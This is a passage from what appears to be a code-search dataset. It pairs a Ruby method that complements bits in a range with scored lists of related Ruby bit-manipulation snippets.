"def res(n)\r\n p ~(4 >> 1)\r\nend",
"def bce(n)\n return -n\n end",
"def _bit_in_range?(bits, max, min)\n upper = bits.position + bits.size - 1\n lower = bits.position\n !((lower > max) || (upper < min))\n end",
"def solution(n)\n n & 15\nend",
"def reverse_complement(txt)\n comp = []\n txt.chars.each do |ch|\n comp << \"A\" if ch == 'T'\n comp << \"T\" if ch == 'A'\n comp << \"G\" if ch == 'C'\n comp << \"C\" if ch == 'G'\n end\n comp.join.reverse\nend",
"def complement_3 array, sum\n complements = array.map {|x| sum - x }\n intersection = array & complements\n intersection.map {|num| [num, sum - num ] }\nend",
"def checkBitSet( i, bitfield )\n bitfield & (1<<i)\n end",
"def flip(num)\n num ^ (2**32-1)\nend",
"def ~\n self ^ -1\n end",
"def -@\n CAS.invert(self)\n end",
"def bits_to_mask(nm)\n\t\treturn(0) if (nm == 0)\n\t\tm = 2**32-1\n\t\treturn( m ^ (m >> nm) )\n\tend",
"def bits_to_mask(nm)\n\t\treturn(0) if (nm == 0)\n\t\tm = 2**32-1\n\t\treturn( m ^ (m >> nm) )\n\tend",
"def tor(dd, max)\n dd == max - 1 ? -1 : dd\n end",
"def complement(nucleotide)\n case nucleotide\n when \"A\"\n \"T\"\n when \"T\"\n \"A\"\n when \"G\"\n \"C\"\n when \"C\"\n \"G\"\n end\nend",
"def bitwise_exclusive(a, b)\n\tresult = ''\n\ta.each_char.with_index do |val, index|\n\t\tif (val == '1' && b[index] == '0') || (val == '0' && b[index] == '1')\n\t\t\tresult.concat '1'\n\t\telse\n\t\t\tresult.concat '0'\n\t\tend\n\tend\n\treturn result\nend",
"def reverse_bits(integer)\n\t#convert integer into 32-bit number, reverse bits, convert back into an integer\n\t[integer].pack('l').reverse.unpack('l')\nend",
"def bits(number)\n bits = []\n\n while number != 0\n bits << number % 2\n number = number / 2\n end\n\n bits.reverse.join\nend",
"def ^(value)\n value = _arg2int(value)\n value &= self.mask if (bounded?)\n bs = dup\n bs.from_i(value ^ bs.to_i)\n bs\n end",
"def radix_mask\n (\"1\"*self.class.bit_density).to_i(2)\n end",
"def reverse_bits(num)\n num.to_s(2).rjust(32, '0').reverse.to_i(2)\nend",
"def unsigned_to_signed(n, bits = 64)\n mid = 2**(bits-1)\n max_unsigned = 2**bits\n n >= mid ? n - max_unsigned : n\n end",
"def bit\n self\n end",
"def xor(a,b)\n (a | b) - (a & b)\n end",
"def minus(a,b)\n (a < b ? LIMIT32 - a + b : a - b)\nend",
"def rev(target)\n res = Array(32)\n 16.times do |i|\n a = target[i].ord ^ i ^ (16 * i)\n res[2*i+1] = a & 0xf\n res[2*(15-i)] = a >> 4\n end\n res.map{|c|c.to_s(16)}.join\nend",
"def test_008_ranges()\n TestVals.each do |sVal|\n length = sVal.length\n (length - 2).times do |width|\n width += 2\n bs = BitString.new(sVal)\n #\n # Test subranging n bits at a time in a fetch\n #\n (length - width + 1).times do |i|\n excerpt = sVal[length-width-i,width].to_i(2)\n rng = i..i+width-1\n assert_equal(excerpt,\n bs[rng].to_i,\n 'Test fetching bitstring subrange ' +\n \"'#{bs.to_s}'[#{rng}] => '#{excerpt}'\\n\" +\n \"(sVal='#{sVal}', length=#{length}, \" +\n \"width=#{width}, i=#{i})\")\n end\n #\n # Now try setting that range to its complement\n #\n (length - width + 1).times do |i|\n bs = BitString.new(sVal)\n excerpt = (~ sVal[length-width-i,width].to_i(2)) & (2**width - 1)\n rng = i..i+width-1\n bs[rng] = excerpt\n assert_equal(excerpt,\n bs[rng].to_i,\n 'Test bitstring subrange after set' +\n \"'#{bs.to_s}'[#{rng}] => '#{excerpt}'\")\n end\n\n #\n # Now do the same with a bounded bitstring.\n #\n bs = BitString.new(sVal, length)\n #\n # Test subranging n bits at a time in a fetch\n #\n (length - width + 1).times do |i|\n excerpt = sVal[length-width-i,width].to_i(2)\n rng = i..i+width-1\n assert_equal(excerpt,\n bs[rng].to_i,\n 'Test fetching bitstring subrange ' +\n \"'#{bs.to_s}'[#{rng}] => '#{excerpt}'\\n\" +\n \"(sVal='#{sVal}', length=#{length}, \" +\n \"width=#{width}, i=#{i})\")\n end\n #\n # Now try setting that range to its complement\n #\n (length - width + 1).times do |i|\n bs = BitString.new(sVal, length)\n excerpt = (~ sVal[length-width-i,width].to_i(2)) & (2**width - 1)\n rng = i..i+width-1\n bs[rng] = excerpt\n assert_equal(excerpt,\n bs[rng].to_i,\n 'Test bitstring subrange after set' +\n \"'#{bs.to_s}'[#{rng}] => '#{excerpt}'\")\n end\n end\n end\n end",
"def clr_only(value)\n shift_out_with_index { |bit, i| bit.clr_only = (value[i] == 0b1) }\n self\n end",
"def msb; @bits[@bits.length - 1]; end",
"def complement\n l = self.clone\n l.from = to\n l.from_orient = (to_orient == :+ ? :- : :+)\n l.to = from\n l.to_orient = (from_orient == :+ ? :- : :+)\n l.overlap = complement_overlap\n l\n end",
"def data_b\n ~data & ((1 << size) - 1)\n end",
"def not(e)\n ((1 << 64) - 1) & (~eval_ex(e))\n end",
"def set(bit, value = true)\n if value\n @bits = union convert_bit(bit)\n @set_indexes << bit unless @set_indexes.include?(bit)\n elsif set?(bit)\n @bits = xor convert_bit(bit)\n @set_indexes.delete(bit)\n end\n\n @bits\n end",
"def bitPos2Int( b )\n (0..7).select { |i| \n true if checkBitSet(i, b)>0 \n }\n end",
"def complemento(op)\n array_clases.to_set - op # ese - es el mensaje (sustraccion) entre 2 Set\n end",
"def bitshift_logical_right(a, n)\n\tif n > 7 || n < 0\n\t\tputs \"Sorry, n is not in a good range\"\n\t\treturn\n\tend\n\n\tadd_zero = ''\n\t(1).upto(n).each do\n\t\tadd_zero.concat '0'\n\tend\n\treturn add_zero.concat(a[0..7-n])\n\nend",
"def flip(index)\n value = @bits[index/@@wordBits] & @bitMask[index % @@wordBits] > 0 ? 1 : 0 \n if value == 0\n @bits[index/@@wordBits] |= @bitMask[index % @@wordBits]\n else\n @bits[index/@@wordBits] &= (@bitMask[index % @@wordBits] ^ @xorMask)\n end\n end",
"def off!(indexes)\n Array(indexes).each do |index|\n validate_index(index)\n @bits &= ~(1 << index)\n end\n end",
"def <=>(other)\n\t\t@bits <=> other.bits\n\tend",
"def |(value)\n value = _arg2int(value)\n value &= self.mask if (bounded?)\n bs = dup\n bs.from_i(value | bs.to_i)\n bs\n end",
"def solution(a)\n # write your code in Ruby 2.2\n \n return 0 if a.empty?\n \n # decode\n bits = []\n a.each_with_index do |bit, i|\n bits << bit*((-2)**i)\n end\n \n changed_bits = bits.map { |el| -el }\n answer = []\n changed_bits.each_with_index do |changed_bit, i|\n answer\n end\n # number = bits.inject(:+)\n \n # change number\n # number = -number\n \n # encode\n \n end",
"def init_bitarray(max_bits)\n\t\t@bitmap = Array.new(max_bits, 0) # create a new array with the max size and initialize it to zero\n\tend",
"def reverse_bits_efficient(x)\n puts \"%032d\" % x.to_s(2)\n # //swap each two bits\n # //10101010...\n tmp1 = (x&0xAAAAAAAA)>>1; # 0xAAAAAAAA = \"101010...10\" 32 bit notation with all even positions as 1's\n # //010101010..\n tmp2 = (x&0x55555555)<<1; # 0x55555555 = \"010101...01\" 32 bit notation with all odd positions as 1's\n x = tmp1|tmp2\n # //swap each four bits\n # //11001100 \n tmp1 = (x&0xCCCCCCCC)>>2;\n # //0011\n tmp2 = (x&0x33333333)<<2;\n x = tmp1|tmp2\n # //swap every eight bits\n # //1111000011110000\n tmp1 = (x&0xF0F0F0F0)>>4;\n tmp2 = (x&0x0F0F0F0F)<<4;\n x = tmp1|tmp2\n # //swap every 8 bits\n tmp1 = (x&0xFF00FF00)>>8;\n tmp2= (x&0x00FF00FF)<<8;\n x = tmp1|tmp2\n # //swap every 16 bits\n tmp1 = (x&0xFFFF0000)>>16;\n tmp2 = (x&0x0000FFFF)<<16;\n x = tmp1|tmp2\n puts x.to_s(2)\nend",
"def ^(n)\n base = n>0 ? self : !self\n res = Permutation::IDENTITY\n (n.abs).times {res*=base}\n res\n end",
"def set_bits(n, m, i, j)\n #Reset N's bits to zero from i to j(backwards starting with 0)\n #Set M's bit to N starting from j\n\n max = ~0\n #1's till position j, then zeroes\n left_bits = max - ((1<<j)-1)\n right_bits = ((1<<i)-1)\n mask = left_bits | right_bits\n (n & mask) | (m << i)\nend",
"def ^(enum)\n ((self | enum) - (self & enum))\n end",
"def bits_to_numbers(bits)\n (0..8).select { |n| (bits & (1 << n)) != 0 }\n end",
"def ~\n BooleanExpression.invert(self)\n end",
"def bits\n super.to_i\n end",
"def execute_NOT(operand)\n\t\t# no flags affected\n\t\toperand.value = ~operand.value\n\tend",
"def complement_2(array, sum)\n elements = Set.new(array)\n complements = {}\n array.each do |num|\n complement = sum - num\n complements[num] = complement if elements.include?(complement)\n end\n complements\nend",
"def only_mask_for column_name, *fields\n fields = bitfields if fields.empty?\n column = @@bitfields[column_name]\n max = bitfield_max(column_name)\n raise ArgumentError, \"Unknown column for bitfield: #{column_name}\" if column.nil?\n\n column.sum do |field_name, range|\n fields.include?(field_name) ? range.invert(max).sum{|i| 2 ** i} : 0\n end\n \n # fields.inject(\"0\" * (bitfield_max(column_name) + 1)) do |mask, field_name|\n # raise ArugmentError, \"Unknown field: #{field_name} for column #{column_name}\" if column[field_name].nil?\n # range = column[field_name]\n # mask[range] = \"1\" * range.count\n # mask\n # end.to_i(2)\n end",
"def bit(y)\n bit?(y) ? ONE : ZERO\n end",
"def complement_overlap\n self.overlap.to_cigar.complement\n end",
"def bitfield_max column_name\n @@bitfields[column_name].values.sum.max\n end",
"def allowed_numbers\n allowed = @board.map { |n| n.nil? ? 511 : 0 }\n coordinate_systems.each do |c|\n (0..8).each do |x|\n bits = axis_missing(x, c)\n (0..8).each { |y| allowed[index_for(x, y, c)] &= bits }\n end\n end\n allowed\n end",
"def clear(bit)\n set(bit, false)\n end",
"def clip(min, max, output=nil)\n output ||= self\n self.each_with_index do |v,i|\n n = v\n n = min if v < min \n n = max if v > max\n output[i] = n\n end\n output\n end",
"def bitmask\n @_bitmask = Socket.net2bitmask(self.netmask) if (@_bitmask == nil)\n @_bitmask\n end",
"def mask_to_bits(nm)\n\t\tmask = 32\n\t\tmask.times do\n if ( (nm & 1) == 1)\n break\n end\n\t\t\tnm = nm >> 1\n\t\t\tmask = mask - 1\n\t\tend\n\t\treturn(mask)\n\tend",
"def mask_to_bits(nm)\n\t\tmask = 32\n\t\tmask.times do\n if ( (nm & 1) == 1)\n break\n end\n\t\t\tnm = nm >> 1\n\t\t\tmask = mask - 1\n\t\tend\n\t\treturn(mask)\n\tend",
"def to_bits(base10_num)\n bits = @bit_vals.map do |b|\n if base10_num >= b\n base10_num -= b\n '1'\n else\n '0'\n end\n end\n bits.join\n end",
"def negate!\n negate self\n end"
] |
[
"0.7735768",
"0.7006283",
"0.67882085",
"0.6254756",
"0.62417793",
"0.61749107",
"0.6017997",
"0.58112913",
"0.5759427",
"0.56757826",
"0.56259865",
"0.5619525",
"0.55927086",
"0.5579704",
"0.54644865",
"0.54485124",
"0.5395765",
"0.53838867",
"0.5356615",
"0.53327",
"0.53186196",
"0.5313834",
"0.5311469",
"0.52927583",
"0.5289073",
"0.5281837",
"0.525918",
"0.5258424",
"0.52532846",
"0.5189364",
"0.51450443",
"0.51325184",
"0.5118353",
"0.5086866",
"0.508484",
"0.5071975",
"0.50429094",
"0.50262773",
"0.5004787",
"0.5003466",
"0.4992959",
"0.49866602",
"0.49810383",
"0.49730936",
"0.4973011",
"0.4969441",
"0.49665418",
"0.49665257",
"0.49451548",
"0.49451548",
"0.49346536",
"0.4929816",
"0.4929156",
"0.49177223",
"0.4910568",
"0.48978785",
"0.48753142",
"0.4866288",
"0.48660728",
"0.48635456",
"0.48606604",
"0.4850325",
"0.48297152",
"0.48132932",
"0.4797583",
"0.47848582",
"0.47831047",
"0.47764298",
"0.47739184",
"0.47645238",
"0.4760396",
"0.47536963",
"0.4747298",
"0.4740321",
"0.47074553",
"0.47052342",
"0.47020444",
"0.46905884",
"0.46894926",
"0.4689426",
"0.46892434",
"0.46855122",
"0.46712613",
"0.46699408",
"0.4664728",
"0.46610677",
"0.46582076",
"0.4654409",
"0.4650245",
"0.46136484",
"0.46012625",
"0.45980203",
"0.45951536",
"0.45943612",
"0.45887512",
"0.45853442",
"0.45825967",
"0.45825967",
"0.4582339",
"0.45761776"
] |
0.6824225
|
2
|
complement bits in the range minBit..maxBit.
|
def not_in_place(min_bit, max_bit)
# make sure that we have room for maxBit
grow_to_include(max_bit)
i = min_bit
while i <= max_bit
n = word_number(i)
@bits[n] ^= bit_mask(i)
i += 1
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def complement(bit)\n bit.succ % 2\n end",
"def not_in_place(max_bit)\n not_in_place(0, max_bit)\n end",
"def find_complement(num)\n result = 0\n\n num_bits = num.to_s(2).chars.map(&:to_i) # Convert to binary (base 2) and map to integers\n\n num_bits.reverse.each_with_index do |n, idx|\n n = n == 0 ? 1 : 0\n result += 2 ** idx * (n) # Convert to base 10\n end\n\n result\nend",
"def -(other)\n self & other.complement\n end",
"def not\n ~@bits\n end",
"def bitMaxMin n\n l=2**n\n min=-l/2\n max=-min-1\n return max,min\nend",
"def diminished_radix_complement(int)\n if int > UID_MAX\n int - UINT\n else\n int\n end\n end",
"def complement!\n raise RuntimeError, \"Data is not valid Binary: #{self}\" unless self.is_bitstring?\n complement = \"\"\n\n self.each_byte do |char|\n complement << ((char.chr == \"0\") ? \"1\" : \"0\")\n end\n\n self.replace(complement)\n end",
"def complement!\n tmp = self.from\n self.from = self.to\n self.to = tmp\n tmp = self.from_orient\n self.from_orient = (self.to_orient == :+) ? :- : :+\n self.to_orient = (tmp == :+) ? :- : :+\n self.overlap = self.complement_overlap\n return self\n end",
"def complement\n\t\t\tc = Xmms::Collection.new(Xmms::Collection::TYPE_COMPLEMENT)\n\t\t\tc.operands << self\n\t\t\tc\n\t\tend",
"def bitnot(b)\n (~b)&1\nend",
"def _bit_in_range?(bits, max, min)\n upper = bits.position + bits.size - 1\n lower = bits.position\n !((lower > max) || (upper < min))\n end",
"def ~()\n newval = (~ @value) & self.mask\n bounded? ? self.class.new(newval, @length) : self.class.new(newval)\n end",
"def convert_to_signed_twos_complement(integer)\n upper = 2**BITS\n upper - integer\n end",
"def complement\n newvalues = self.rgba[0..-2].map {|v| Range.O.complement( v )}\n newvalues += [self.a]\n return Color[ *newvalues ]\n end",
"def complement\n l = self.clone\n l.from = to\n l.from_orient = (to_orient == :+ ? :- : :+)\n l.to = from\n l.to_orient = (from_orient == :+ ? :- : :+)\n l.overlap = complement_overlap\n l\n end",
"def complement_1(array, sum)\n complements = []\n array.each do |operand|\n complement = sum - operand\n complements.push [operand, complement] if array.include? complement\n end\n complements\nend",
"def IntegerComplement(n)\n\n complements = {\n '0' => '1', # => \"1\"\n '1' => '0' # => \"0\"\n } # => {\"0\"=>\"1\", \"1\"=>\"0\"}\n\n binary = n.to_s(2) # => \"110010\"\n\n #Solution 1: using Ruby's .to_i with base (2) method\n new_binary = '' # => \"\"\n binary.chars.each { |e| new_binary << complements[e] } # => [\"1\", \"1\", \"0\", \"0\", \"1\", \"0\"]\n new_binary # => \"001101\"\n new_decimal = new_binary.to_i(2) # => 13\n\n\n #Solution 2: Evaluating complement's decimal manually\n comp_binary = [] # => []\n binary.chars.each { |e| comp_binary << complements[e] } # => [\"1\", \"1\", \"0\", \"0\", \"1\", \"0\"]\n comp_binary # => [\"0\", \"0\", \"1\", \"1\", \"0\", \"1\"]\n\n comps = [] # => []\n comp_binary.reverse.each_with_index { |e, i| comps << (e.to_i) * (2**i) } # => [\"1\", \"0\", \"1\", \"1\", \"0\", \"0\"]\n comps # => [1, 0, 4, 8, 0, 0]\n decimal_complement = comps.reduce(:+) # => 13\n\n\n p new_decimal # => 13\n p decimal_complement # => 13\n\nend",
"def clip(min, max, output=nil)\n output ||= self\n self.each_with_index do |v,i|\n n = v\n n = min if v < min \n n = max if v > max\n output[i] = n\n end\n output\n end",
"def complement?\n @complement\n end",
"def complement\n RegLang.new(to_dfa.complement)\n end",
"def relative_complement(other)\n this_where = self.collapsed_where\n other_where = other.collapsed_where\n self.where_only(this_where.not.and(other_where))\n end",
"def minus(a,b)\n (a < b ? LIMIT32 - a + b : a - b)\nend",
"def unsigned_not(int)\r\n bits = int.bit_length\r\n bits = (bits / 4.0).ceil.to_i * 4 # round to nearest half-byte\r\n mask = (1 << bits) - 1\r\n return mask - int\r\n end",
"def test_complement\n g = Grammar.new(\"parser grammar t;\\n\" + \"a : ~(A | B | C) | C {;} ;\\n\" + \"b : X Y Z ;\")\n expecting = \".s0-C->:s2=>2\\n\" + \".s0-X..Z->:s1=>1\\n\"\n check_decision(g, 1, expecting, nil, nil, nil, nil, 0)\n end",
"def test_008_ranges()\n TestVals.each do |sVal|\n length = sVal.length\n (length - 2).times do |width|\n width += 2\n bs = BitString.new(sVal)\n #\n # Test subranging n bits at a time in a fetch\n #\n (length - width + 1).times do |i|\n excerpt = sVal[length-width-i,width].to_i(2)\n rng = i..i+width-1\n assert_equal(excerpt,\n bs[rng].to_i,\n 'Test fetching bitstring subrange ' +\n \"'#{bs.to_s}'[#{rng}] => '#{excerpt}'\\n\" +\n \"(sVal='#{sVal}', length=#{length}, \" +\n \"width=#{width}, i=#{i})\")\n end\n #\n # Now try setting that range to its complement\n #\n (length - width + 1).times do |i|\n bs = BitString.new(sVal)\n excerpt = (~ sVal[length-width-i,width].to_i(2)) & (2**width - 1)\n rng = i..i+width-1\n bs[rng] = excerpt\n assert_equal(excerpt,\n bs[rng].to_i,\n 'Test bitstring subrange after set' +\n \"'#{bs.to_s}'[#{rng}] => '#{excerpt}'\")\n end\n\n #\n # Now do the same with a bounded bitstring.\n #\n bs = BitString.new(sVal, length)\n #\n # Test subranging n bits at a time in a fetch\n #\n (length - width + 1).times do |i|\n excerpt = sVal[length-width-i,width].to_i(2)\n rng = i..i+width-1\n assert_equal(excerpt,\n bs[rng].to_i,\n 'Test fetching bitstring subrange ' +\n \"'#{bs.to_s}'[#{rng}] => '#{excerpt}'\\n\" +\n \"(sVal='#{sVal}', length=#{length}, \" +\n \"width=#{width}, i=#{i})\")\n end\n #\n # Now try setting that range to its complement\n #\n (length - width + 1).times do |i|\n bs = BitString.new(sVal, length)\n excerpt = (~ sVal[length-width-i,width].to_i(2)) & (2**width - 1)\n rng = i..i+width-1\n bs[rng] = excerpt\n assert_equal(excerpt,\n bs[rng].to_i,\n 'Test bitstring subrange after set' +\n \"'#{bs.to_s}'[#{rng}] => '#{excerpt}'\")\n end\n end\n end\n end",
"def complement_3 array, sum\n complements = array.map {|x| sum - x }\n intersection = array & complements\n intersection.map {|num| [num, sum - num ] }\nend",
"def reset_mask_for column_name, *fields\n fields = bitfields if fields.empty?\n max = bitfield_max(column_name)\n (0..max).sum{|i| 2 ** i} - only_mask_for(column_name, *fields)\n end",
"def reverse_range(min, max)\n new_arr = []\n\n i = max-1\n while i >= min+1 # i > min\n # reverse\n # exclude\n new_arr << i\n i -= 1\n end\n\n return new_arr\n\nend",
"def convert_binary_to_signed_negative(address)\n twos_compliment = convert_to_signed_twos_complement address.to_i(2)\n HumanComputer::Processor.eight_bitify twos_compliment\n end",
"def _num_bits_in_range(bits, max, min)\n upper = bits.position + bits.size - 1\n lower = bits.position\n [upper, max].min - [lower, min].max + 1\n end",
"def ^(value)\n value = _arg2int(value)\n value &= self.mask if (bounded?)\n bs = dup\n bs.from_i(value ^ bs.to_i)\n bs\n end",
"def bit_xor(x, bits)\n bits.map{|b| x[b]}.reduce(:^)\n end",
"def to_i\n bitmask\n end",
"def mask_bits\n mask_bits = 0\n shifted_mask = @mask_addr\n (1..32).each do |_i|\n mask_bits += 1 if (shifted_mask & 0x1) == 1\n shifted_mask = shifted_mask >> 1\n end\n return mask_bits\n end",
"def |(value)\n value = _arg2int(value)\n value &= self.mask if (bounded?)\n bs = dup\n bs.from_i(value | bs.to_i)\n bs\n end",
"def set_bits\n bits = []\n 0.upto(63) {|i| bits << i if set?(i)}\n bits\n end",
"def <=>(other)\n\t\t@bits <=> other.bits\n\tend",
"def bitwise_exclusive(a, b)\n\tresult = ''\n\ta.each_char.with_index do |val, index|\n\t\tif (val == '1' && b[index] == '0') || (val == '0' && b[index] == '1')\n\t\t\tresult.concat '1'\n\t\telse\n\t\t\tresult.concat '0'\n\t\tend\n\tend\n\treturn result\nend",
"def clearBitsIthrough0(num, i)\n mask = -1 << i\n mask & num\n end",
"def flip_bit(integer)\n binary = integer.to_s(2)\n max = 0\n current = 0\n prev = 0\n gap = 0\n\n binary.each_char do |char|\n if char == '1'\n current += 1\n gap = 0\n elsif char == '0'\n prev = current unless gap > 1\n current = 0\n gap += 1\n end\n max = [prev + current + 1, max].max\n end\n\n max\nend",
"def reverse_range(min, max)\n\trange = []\n \n\ti = max - 1\n\twhile i > min\n\t\trange << i\n\t\ti -= 1\n end\n \n\treturn range\nend",
"def bitmask(int)\n return int.to_s(2).reverse.split('')\n end",
"def range(min, max)\n return [] if max <= min\n range(min, max - 1) << max - 1\n\n end",
"def range1(min, max)\n # Base Case / Inductive Step\n return [] if max <= min\n\n range1(min, max - 1) << max - 1\nend",
"def to_i\n bitmask\n end",
"def bitwise_not(a)\n\tresult = ''\n\ta.each_char do |val|\n\t\tif val == '1' \n\t\t\tresult.concat '0'\n\t\telse\n\t\t\tresult.concat '1'\n\t\tend\n\tend\n\treturn result\nend",
"def solution(n)\n n & 15\nend",
"def spread\n (max - min).abs\n end",
"def clamp(x , min_or_max={})\n [[x, min_or_max[:max]].compact.min, min_or_max[:min]].compact.max\n end",
"def off!(indexes)\n Array(indexes).each do |index|\n validate_index(index)\n @bits &= ~(1 << index)\n end\n end",
"def complement_overlap\n self.overlap.to_cigar.complement\n end",
"def complement?(other)\n (from_end == other.to_end and\n to_end == other.from_end and\n overlap == other.complement_overlap)\n end",
"def bits()\n return(NetAddr.mask_to_bits(@netmask))\n end",
"def unsigned_to_signed(n, bits = 64)\n mid = 2**(bits-1)\n max_unsigned = 2**bits\n n >= mid ? n - max_unsigned : n\n end",
"def bit_flip(arr, n)\n #YOUR WORK HERE\nend",
"def -@\n CAS.invert(self)\n end",
"def set_bits(n, m, i, j)\n #Reset N's bits to zero from i to j(backwards starting with 0)\n #Set M's bit to N starting from j\n\n max = ~0\n #1's till position j, then zeroes\n left_bits = max - ((1<<j)-1)\n right_bits = ((1<<i)-1)\n mask = left_bits | right_bits\n (n & mask) | (m << i)\nend",
"def mask(a, b)\n a ^ b\n end",
"def complemento(op)\n array_clases.to_set - op # ese - es el mensaje (sustraccion) entre 2 Set\n end",
"def clamp(val, min, max)\n\treturn min if val < min\n\treturn max if val > max\n\treturn val\nend",
"def res(n)\r\n p ~(4 >> 1)\r\nend",
"def ^(enum)\n ((self | enum) - (self & enum))\n end",
"def radix_mask\n (\"1\"*self.class.bit_density).to_i(2)\n end",
"def range(min, max)\n return max if max < min\n range(min, max) << max\nend",
"def xor(a,b)\n (a | b) - (a & b)\n end",
"def reverse_range(min, max)\n reversed = [] \n \n index = max - 1 \n \n while index > min \n reversed << index \n index -= 1\n end \n \n return reversed \n \nend",
"def clamp(value, minimum_inclusive, maximum_inclusive)\n\n if minimum_inclusive > maximum_inclusive\n\n swap = minimum_inclusive\n\n minimum_inclusive = maximum_inclusive\n maximum_inclusive = swap\n end\n\n value < minimum_inclusive ? minimum_inclusive : value < maximum_inclusive ? value : maximum_inclusive\n end",
"def reverse_range(min, max)\n nums = []\n \n i = max - 1\n while i > min\n nums << i\n \n i -= 1\n end\n \n return nums\n end",
"def reverse_range(min, max)\n newArr = []\n i = max - 1\n while i >= min +1\n newArr << i\n i -= 1\n end\n return newArr\n end",
"def complement_2(array, sum)\n elements = Set.new(array)\n complements = {}\n array.each do |num|\n complement = sum - num\n complements[num] = complement if elements.include?(complement)\n end\n complements\nend",
"def reverse_bits(integer)\n\t#convert integer into 32-bit number, reverse bits, convert back into an integer\n\t[integer].pack('l').reverse.unpack('l')\nend",
"def ~\n self ^ -1\n end",
"def complement(nucleotide)\n case nucleotide\n when \"A\"\n \"T\"\n when \"T\"\n \"A\"\n when \"G\"\n \"C\"\n when \"C\"\n \"G\"\n end\nend",
"def reverse_range(min, max)\n\ti = max-1\n \tarr = []\n while i > min\n\t\tarr << i\n \ti -= 1\n end\n \treturn arr\nend",
"def bits\n\t\t# Get a safe copy of the @bits array\n\t\tbts = @bits.clone\n\t\t##\n\t\t# If carrying and not [HACK catch the pattern tha breaks it by adding an extrax 1]\n\t\t##\n\t\tif @carrying && @bits[0,4] != [1, 0, 0, 0]\n\t\t\tbts\t\t= [1].concat @bits\n\t\tend\n\t\t# Return to the caller\n\t\tbts\n\tend",
"def reverse_bits(n)\n bin = n.to_s(2)\n while bin.length < 32\n bin = \"0\" + bin\n end \n bin.reverse.to_i(2)\nend",
"def >>(bits)\n value = @value / 2**bits.to_i\n if (bounded?)\n self.class.new(value, @length)\n else\n self.class.new(value)\n end\n end",
"def bits(num, table) \n max = 0\n\n i_max = num / 2\n for i in 0..i_max\n cand = table[i] + table[num-i]\n if max < cand\n max = cand\n end\n end\n\n return max\nend",
"def ~\n BooleanExpression.invert(self)\n end",
"def reverse_complement(txt)\n comp = []\n txt.chars.each do |ch|\n comp << \"A\" if ch == 'T'\n comp << \"T\" if ch == 'A'\n comp << \"G\" if ch == 'C'\n comp << \"C\" if ch == 'G'\n end\n comp.join.reverse\nend",
"def checkBitSet( i, bitfield )\n bitfield & (1<<i)\n end",
"def reverse_range(min, max)\n # Write your code here\nend",
"def <=>(other)\n self.bitmask <=> other.bitmask\n end",
"def bits_to_mask(nm)\n\t\treturn(0) if (nm == 0)\n\t\tm = 2**32-1\n\t\treturn( m ^ (m >> nm) )\n\tend",
"def bits_to_mask(nm)\n\t\treturn(0) if (nm == 0)\n\t\tm = 2**32-1\n\t\treturn( m ^ (m >> nm) )\n\tend",
"def clamp; end",
"def reverse_range(min, max)\n nums = []\n i = max\n while i > min\n if\n i == max\n i -= 1\n next\n end\n nums << i\n i -= 1\n end\n return nums\n end",
"def convert_bits(data, from, to, padding=true)\n acc = 0\n bits = 0\n ret = []\n maxv = (1 << to) - 1\n max_acc = (1 << (from + to - 1)) - 1\n data.each do |v|\n return nil if v < 0 || (v >> from) != 0\n acc = ((acc << from) | v) & max_acc\n bits += from\n while bits >= to\n bits -= to\n ret << ((acc >> bits) & maxv)\n end\n end\n if padding\n ret << ((acc << (to - bits)) & maxv) unless bits == 0\n elsif bits >= from || ((acc << (to - bits)) & maxv) != 0\n return nil\n end\n ret\n end",
"def range(min, max)\n # # return [] if end < start\n # if its the last one, 1, using start and end\n\n return [] if max <= min\n\n range(min, max - 1) << max - 1\n # ^ treat it like it is the same data type as base case, so treat it like an array, <<, .map\n\n # [min] + range(min + 1, max - 1)\n # ^ num ^ same data type our base case\nend",
"def clamp(num, a, b)\r\n\treturn a if num < a\r\n\treturn b if num > b\r\n\treturn num\r\nend",
"def complement\n self.class.all.difference(self)\n end",
"def flip(num)\n num ^ (2**32-1)\nend",
"def complement_range(first, last)\n casefold ? (TurkishRanges::TrText.new(first.swapcase)..TurkishRanges::TrText.new(last.swapcase)).to_a.join : ''\n end",
"def execute_NOT(operand)\n\t\t# no flags affected\n\t\toperand.value = ~operand.value\n\tend",
"def complement\n self.class.all.difference(self)\n end",
"def bitwise_xor(num1, num2)\n bnum1 = num1.to_s(2)\n bnum2 = num2.to_s(2)\n band = (num1 | num2).to_s(2)\n puts \"num1 = \" + ( ' ' * bnum2.length ) + num1.to_s(2)\n puts \"num2 = \" + ( ' ' * bnum1.length ) + num2.to_s(2)\n puts \"b|& = \" + ( ' ' * ([bnum1.length, bnum2.length].min ) + band)\nend",
"def reverse_bits_efficient(x)\n puts \"%032d\" % x.to_s(2)\n # //swap each two bits\n # //10101010...\n tmp1 = (x&0xAAAAAAAA)>>1; # 0xAAAAAAAA = \"101010...10\" 32 bit notation with all even positions as 1's\n # //010101010..\n tmp2 = (x&0x55555555)<<1; # 0x55555555 = \"010101...01\" 32 bit notation with all odd positions as 1's\n x = tmp1|tmp2\n # //swap each four bits\n # //11001100 \n tmp1 = (x&0xCCCCCCCC)>>2;\n # //0011\n tmp2 = (x&0x33333333)<<2;\n x = tmp1|tmp2\n # //swap every eight bits\n # //1111000011110000\n tmp1 = (x&0xF0F0F0F0)>>4;\n tmp2 = (x&0x0F0F0F0F)<<4;\n x = tmp1|tmp2\n # //swap every 8 bits\n tmp1 = (x&0xFF00FF00)>>8;\n tmp2= (x&0x00FF00FF)<<8;\n x = tmp1|tmp2\n # //swap every 16 bits\n tmp1 = (x&0xFFFF0000)>>16;\n tmp2 = (x&0x0000FFFF)<<16;\n x = tmp1|tmp2\n puts x.to_s(2)\nend",
"def subtract(enum)\n if enum.instance_of?(IntegerSet)\n @val &= ~enum.to_i\n else\n do_with_enum(enum) { |o| delete(o) }\n end\n\n self\n end",
"def exclusive!\n @inclusive = false\n end"
] |
[
"0.73468924",
"0.64074695",
"0.6378878",
"0.61401385",
"0.608787",
"0.6007887",
"0.5979869",
"0.5874152",
"0.58718616",
"0.58137965",
"0.5782279",
"0.5641064",
"0.56012654",
"0.55617464",
"0.55020106",
"0.548051",
"0.54768574",
"0.54601836",
"0.54323894",
"0.5398898",
"0.5339992",
"0.5332898",
"0.5323576",
"0.5312372",
"0.528954",
"0.5285865",
"0.52321666",
"0.5213249",
"0.51716673",
"0.5148163",
"0.51320887",
"0.5115031",
"0.51065224",
"0.5105127",
"0.50964755",
"0.50929826",
"0.5082119",
"0.50699127",
"0.50687194",
"0.5066735",
"0.5045883",
"0.5042495",
"0.50373477",
"0.5037217",
